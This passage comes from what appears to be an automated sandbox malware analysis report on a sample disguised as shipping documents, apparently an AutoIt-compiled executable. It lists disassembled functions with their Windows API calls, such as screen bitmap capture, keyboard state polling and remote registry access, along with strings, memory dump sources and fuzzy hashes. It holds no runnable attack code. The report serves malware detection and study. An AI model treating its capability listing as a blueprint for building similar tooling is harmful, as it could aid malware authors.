                                                • StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 00D59EAF
                                                • GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,?,00000000), ref: 00D59EEB
                                                • GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 00D59F0F
                                                • SelectObject.GDI32(00000006,?), ref: 00D59F17
                                                • DeleteObject.GDI32(?), ref: 00D59F20
                                                • DeleteDC.GDI32(00000006), ref: 00D59F27
                                                • ReleaseDC.USER32(00000000,?), ref: 00D59F32
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
                                                • String ID: (
                                                • API String ID: 2598888154-3887548279
                                                • Opcode ID: fb216ddb0def5fdaa194c362c642293ea60bf1d9b879373c35573410185b2019
                                                • Instruction ID: 53bf3efc9c85f9c97bfefe3d7ea1b908c76d31656cd4645c9a075c9c1840d113
                                                • Opcode Fuzzy Hash: fb216ddb0def5fdaa194c362c642293ea60bf1d9b879373c35573410185b2019
                                                • Instruction Fuzzy Hash: 0F513A75900309EFCB14CFA8C885EAEBBB9EF48711F14841DF95997390D731A945CB60
                                                Function 00D4CC5C Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 155COMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: LoadString__swprintf_wprintf
                                                • String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
                                                • API String ID: 2889450990-2391861430
                                                • Opcode ID: 6d7ca9cd54cb408d1c788686d86ea6e98fe5aed5b36876893ebfa9d3b85d9cbe
                                                • Instruction ID: 8e71746c304dab7df08aec09b84d991b545022f5cafe7f98b2769e57293a601e
                                                • Opcode Fuzzy Hash: 6d7ca9cd54cb408d1c788686d86ea6e98fe5aed5b36876893ebfa9d3b85d9cbe
                                                • Instruction Fuzzy Hash: D8515871900219ABCB15EBA0DD42EEEB779EF19304F100165F509721A2EB316E59DFB1
                                                Function 00D4CA48 Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 151COMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: LoadString__swprintf_wprintf
                                                • String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
                                                • API String ID: 2889450990-3420473620
                                                • Opcode ID: 880c73725ba773877a2eb7294dde999d940e3ea3ea71b9d0f724614364003c99
                                                • Instruction ID: 20f16de0253241303db4f9b48672fa19954064bcb9bf19825eb902a69b1e045c
                                                • Opcode Fuzzy Hash: 880c73725ba773877a2eb7294dde999d940e3ea3ea71b9d0f724614364003c99
                                                • Instruction Fuzzy Hash: 6251697190021AAACF15EBE0DD42EEEB778EF18344F104165F50A721A2EA706E59DFB1
                                                Function 00D455BD Relevance: 19.7, APIs: 13, Instructions: 213windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00D455D7
                                                • GetMenuItemInfoW.USER32(00000000,00000007,00000000,00000030), ref: 00D45664
                                                • GetMenuItemCount.USER32(00DC1708), ref: 00D456ED
                                                • DeleteMenu.USER32(00DC1708,00000005,00000000,000000F5,?,?), ref: 00D4577D
                                                • DeleteMenu.USER32(00DC1708,00000004,00000000), ref: 00D45785
                                                • DeleteMenu.USER32(00DC1708,00000006,00000000), ref: 00D4578D
                                                • DeleteMenu.USER32(00DC1708,00000003,00000000), ref: 00D45795
                                                • GetMenuItemCount.USER32(00DC1708), ref: 00D4579D
                                                • SetMenuItemInfoW.USER32(00DC1708,00000004,00000000,00000030), ref: 00D457D3
                                                • GetCursorPos.USER32(?), ref: 00D457DD
                                                • SetForegroundWindow.USER32(00000000), ref: 00D457E6
                                                • TrackPopupMenuEx.USER32(00DC1708,00000000,?,00000000,00000000,00000000), ref: 00D457F9
                                                • PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00D45805
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Menu$DeleteItem$CountInfo$CursorForegroundMessagePopupPostTrackWindow_memset
                                                • String ID:
                                                • API String ID: 3993528054-0
                                                • Opcode ID: 58eab0545acf254ff474f708d2be154b43fcb2e12aaddc380ca4876bf214561f
                                                • Instruction ID: ca4e6ebf0bb076ee2bc0544ebde863165aa8b69deeadafbd380d84f513215d3d
                                                • Opcode Fuzzy Hash: 58eab0545acf254ff474f708d2be154b43fcb2e12aaddc380ca4876bf214561f
                                                • Instruction Fuzzy Hash: 74710670641615BFEB209F54EC49FAABF65FF01368F280216F614AA1D6C7719C50DBB0
                                                Function 00D3A14D Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 127registryshareCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00D3A1DC
                                                • WNetAddConnection2W.MPR(?,?,?,00000000), ref: 00D3A211
                                                • RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 00D3A22D
                                                • RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 00D3A249
                                                • RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00D3A273
                                                • CLSIDFromString.OLE32(?,?,?,SOFTWARE\Classes\), ref: 00D3A29B
                                                • RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00D3A2A6
                                                • RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00D3A2AB
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memset
                                                • String ID: SOFTWARE\Classes\$\CLSID$\IPC$
                                                • API String ID: 1687751970-22481851
                                                • Opcode ID: 1fde3476c489f9141a1483a059d61078e6432821e9e4b58715700236d92166db
                                                • Instruction ID: 3363550e3ae3ad148f73b14133e9cf009dfc27c1a0b0a47cba50eb3fbbbfefe2
                                                • Opcode Fuzzy Hash: 1fde3476c489f9141a1483a059d61078e6432821e9e4b58715700236d92166db
                                                • Instruction Fuzzy Hash: 1E41F876D10229AADB15EBA4DC85EEEB778FF04310F044169F906A31A1DB709E05CBB1
                                                Function 00D63C06 Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 109COMMON
                                                Download Yara Rule
                                                APIs
                                                • CharUpperBuffW.USER32(?,?,?,?,?,?,?,00D62BB5,?,?), ref: 00D63C1D
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: BuffCharUpper
                                                • String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
                                                • API String ID: 3964851224-909552448
                                                • Opcode ID: af467ddcaedfa6d581d13b183fb1f5bf2aa6fe8801902e24c9562d46599cf539
                                                • Instruction ID: 474458939731d231570f848744297f59f49274a21263dfdccb5b362323985a10
                                                • Opcode Fuzzy Hash: af467ddcaedfa6d581d13b183fb1f5bf2aa6fe8801902e24c9562d46599cf539
                                                • Instruction Fuzzy Hash: 8A410D3011024B9BDF14EF14EC51AEA37A6EF62350F544854EC965B292EB70EA9ACF70
                                                Function 00D425B5 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 74windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,00D736F4,00000010,?,Bad directive syntax error,00D9DC00,00000000,?,?,?,>>>AUTOIT SCRIPT<<<), ref: 00D425D6
                                                • LoadStringW.USER32(00000000,?,00D736F4,00000010), ref: 00D425DD
                                                • _wprintf.LIBCMT ref: 00D42610
                                                • __swprintf.LIBCMT ref: 00D42632
                                                • MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 00D426A1
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: HandleLoadMessageModuleString__swprintf_wprintf
                                                • String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
                                                • API String ID: 1080873982-4153970271
                                                • Opcode ID: 690fe6ae311626ce7427facf8137e6cf9c16fa9a3ed735e3c1e178a87c2cd93b
                                                • Instruction ID: 04a25f1401bbef098ca9c03265ff4448f56df3fb6104913aa1a02d8fecde50ae
                                                • Opcode Fuzzy Hash: 690fe6ae311626ce7427facf8137e6cf9c16fa9a3ed735e3c1e178a87c2cd93b
                                                • Instruction Fuzzy Hash: 1021197181021AEFCF11AB90DC4AFEE7B79FF18304F444455F50A661E2EA71AA18DB71
                                                Function 00D47AD9 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 73COMMON
                                                Download Yara Rule
                                                APIs
                                                • mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00D47B42
                                                • mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00D47B58
                                                • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00D47B69
                                                • mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00D47B7B
                                                • mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00D47B8C
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: SendString
                                                • String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
                                                • API String ID: 890592661-1007645807
                                                • Opcode ID: 9de29e96065e9f168274915aa150795deac3f4516a13eca817b681d11a7ead88
                                                • Instruction ID: 209804e60b13675be6f1b14d64ed0051b6a3081040ffe6c88b353e5b0f3436c0
                                                • Opcode Fuzzy Hash: 9de29e96065e9f168274915aa150795deac3f4516a13eca817b681d11a7ead88
                                                • Instruction Fuzzy Hash: 0B1194F1A50259BDD720B761DC4AEFF7A7CEBD1B10F0005597416A20D1EEA05E49CAB0
                                                Function 00D4778F Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON
                                                Download Yara Rule
                                                APIs
                                                • timeGetTime.WINMM ref: 00D47794
                                                  • Part of subcall function 00D1DC38: timeGetTime.WINMM(?,75C0B400,00D758AB), ref: 00D1DC3C
                                                • Sleep.KERNEL32(0000000A), ref: 00D477C0
                                                • EnumThreadWindows.USER32(?,Function_00047744,00000000), ref: 00D477E4
                                                • FindWindowExW.USER32(?,00000000,BUTTON,00000000), ref: 00D47806
                                                • SetActiveWindow.USER32 ref: 00D47825
                                                • SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00D47833
                                                • SendMessageW.USER32(00000010,00000000,00000000), ref: 00D47852
                                                • Sleep.KERNEL32(000000FA), ref: 00D4785D
                                                • IsWindow.USER32 ref: 00D47869
                                                • EndDialog.USER32(00000000), ref: 00D4787A
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
                                                • String ID: BUTTON
                                                • API String ID: 1194449130-3405671355
                                                • Opcode ID: 734d281e7c357ac69bc7d1f3a2fc1782c7b88230143ed4848fa4c09fc5f9b5bb
                                                • Instruction ID: 322dfb4ba9f84afaf5fc11d79a83dbed36ad4cdd0b476d5aeb2de78509386aae
                                                • Opcode Fuzzy Hash: 734d281e7c357ac69bc7d1f3a2fc1782c7b88230143ed4848fa4c09fc5f9b5bb
                                                • Instruction Fuzzy Hash: 8E2167B021834BAFE7005B20EC8DEA63F6AFB48748B448425F546C23E2DB759C04DB75
                                                Function 00D502EE Relevance: 18.3, APIs: 12, Instructions: 282comCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D0936C: __swprintf.LIBCMT ref: 00D093AB
                                                  • Part of subcall function 00D0936C: __itow.LIBCMT ref: 00D093DF
                                                • CoInitialize.OLE32(00000000), ref: 00D5034B
                                                • SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 00D503DE
                                                • SHGetDesktopFolder.SHELL32(?), ref: 00D503F2
                                                • CoCreateInstance.OLE32(00D8DA8C,00000000,00000001,00DB3CF8,?), ref: 00D5043E
                                                • SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 00D504AD
                                                • CoTaskMemFree.OLE32(?,?), ref: 00D50505
                                                • _memset.LIBCMT ref: 00D50542
                                                • SHBrowseForFolderW.SHELL32(?), ref: 00D5057E
                                                • SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00D505A1
                                                • CoTaskMemFree.OLE32(00000000), ref: 00D505A8
                                                • CoTaskMemFree.OLE32(00000000,00000001,00000000), ref: 00D505DF
                                                • CoUninitialize.OLE32(00000001,00000000), ref: 00D505E1
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize__itow__swprintf_memset
                                                • String ID:
                                                • API String ID: 1246142700-0
                                                • Opcode ID: 8006c03c2bd5e1783a563be004adf73d67ed225785bc4fbeae7b9fc8eca0b613
                                                • Instruction ID: db9efbaf8e506dbb9fb78f0390cfaa5756f9b51e4411906f34f31a758bcd2d56
                                                • Opcode Fuzzy Hash: 8006c03c2bd5e1783a563be004adf73d67ed225785bc4fbeae7b9fc8eca0b613
                                                • Instruction Fuzzy Hash: BEB1DD75A00209AFDB04DFA4C898DAEBBB9FF48315B148459F909EB291D770ED45CF60
                                                Function 00D42E5B Relevance: 18.2, APIs: 12, Instructions: 185keyboardCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetKeyboardState.USER32(?), ref: 00D42ED6
                                                • SetKeyboardState.USER32(?), ref: 00D42F41
                                                • GetAsyncKeyState.USER32(000000A0), ref: 00D42F61
                                                • GetKeyState.USER32(000000A0), ref: 00D42F78
                                                • GetAsyncKeyState.USER32(000000A1), ref: 00D42FA7
                                                • GetKeyState.USER32(000000A1), ref: 00D42FB8
                                                • GetAsyncKeyState.USER32(00000011), ref: 00D42FE4
                                                • GetKeyState.USER32(00000011), ref: 00D42FF2
                                                • GetAsyncKeyState.USER32(00000012), ref: 00D4301B
                                                • GetKeyState.USER32(00000012), ref: 00D43029
                                                • GetAsyncKeyState.USER32(0000005B), ref: 00D43052
                                                • GetKeyState.USER32(0000005B), ref: 00D43060
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: State$Async$Keyboard
                                                • String ID:
                                                • API String ID: 541375521-0
                                                • Opcode ID: 3215246564eee13d6c35a8518388a2b5a7bf5533d434cfcf88b9026c1923234d
                                                • Instruction ID: 893581e6fac50526fe52292116cd7cca4eb6581a9d2fc68366b0240cc96cc0be
                                                • Opcode Fuzzy Hash: 3215246564eee13d6c35a8518388a2b5a7bf5533d434cfcf88b9026c1923234d
                                                • Instruction Fuzzy Hash: 25519660A047D42BFB35DBA488517FABFB49F11340F8C459EE5C2561C2DA54AB8CCB72
                                                Function 00D3ED02 Relevance: 18.2, APIs: 12, Instructions: 174COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetDlgItem.USER32(?,00000001), ref: 00D3ED1E
                                                • GetWindowRect.USER32(00000000,?), ref: 00D3ED30
                                                • MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 00D3ED8E
                                                • GetDlgItem.USER32(?,00000002), ref: 00D3ED99
                                                • GetWindowRect.USER32(00000000,?), ref: 00D3EDAB
                                                • MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 00D3EE01
                                                • GetDlgItem.USER32(?,000003E9), ref: 00D3EE0F
                                                • GetWindowRect.USER32(00000000,?), ref: 00D3EE20
                                                • MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 00D3EE63
                                                • GetDlgItem.USER32(?,000003EA), ref: 00D3EE71
                                                • MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 00D3EE8E
                                                • InvalidateRect.USER32(?,00000000,00000001), ref: 00D3EE9B
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Window$ItemMoveRect$Invalidate
                                                • String ID:
                                                • API String ID: 3096461208-0
                                                • Opcode ID: 40108fa55464b8e69ca82da81952afac074825009d824ef2249a5b13090ab752
                                                • Instruction ID: 436845b1a403c389cdd7ea27d1d257cea50d2a4ce9651fee9be23fde8b4400bd
                                                • Opcode Fuzzy Hash: 40108fa55464b8e69ca82da81952afac074825009d824ef2249a5b13090ab752
                                                • Instruction Fuzzy Hash: A55104B1B10309AFDB14DF69DD85EAEBBB6EB88710F148129F515D72D0D7709D008B20
                                                Function 00D1B73E Relevance: 18.2, APIs: 12, Instructions: 170timeCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D1B9FF: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00D1B759,?,00000000,?,?,?,?,00D1B72B,00000000,?), ref: 00D1BA58
                                                • DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,?,00D1B72B), ref: 00D1B7F6
                                                • KillTimer.USER32(00000000,?,00000000,?,?,?,?,00D1B72B,00000000,?,?,00D1B2EF,?,?), ref: 00D1B88D
                                                • DestroyAcceleratorTable.USER32(00000000), ref: 00D7D8A6
                                                • ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00D1B72B,00000000,?,?,00D1B2EF,?,?), ref: 00D7D8D7
                                                • ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00D1B72B,00000000,?,?,00D1B2EF,?,?), ref: 00D7D8EE
                                                • ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00D1B72B,00000000,?,?,00D1B2EF,?,?), ref: 00D7D90A
                                                • DeleteObject.GDI32(00000000), ref: 00D7D91C
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
                                                • String ID:
                                                • API String ID: 641708696-0
                                                • Opcode ID: 4904530c91199c08db01f0ae8f27e5e2f5a8646f9d97962edf4a36e08761a270
                                                • Instruction ID: a0d9544dfb16e2d7de22faafda97a2174562a68cec4e8ef528c92e970d406549
                                                • Opcode Fuzzy Hash: 4904530c91199c08db01f0ae8f27e5e2f5a8646f9d97962edf4a36e08761a270
                                                • Instruction Fuzzy Hash: 91618B34500712EFDB259F14E988BA5B7B6FF95725F18411EE08686BA0DB30A8D0DFB0
                                                Function 00D1B40A Relevance: 18.1, APIs: 12, Instructions: 131COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D1B526: GetWindowLongW.USER32(?,000000EB), ref: 00D1B537
                                                • GetSysColor.USER32(0000000F), ref: 00D1B438
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
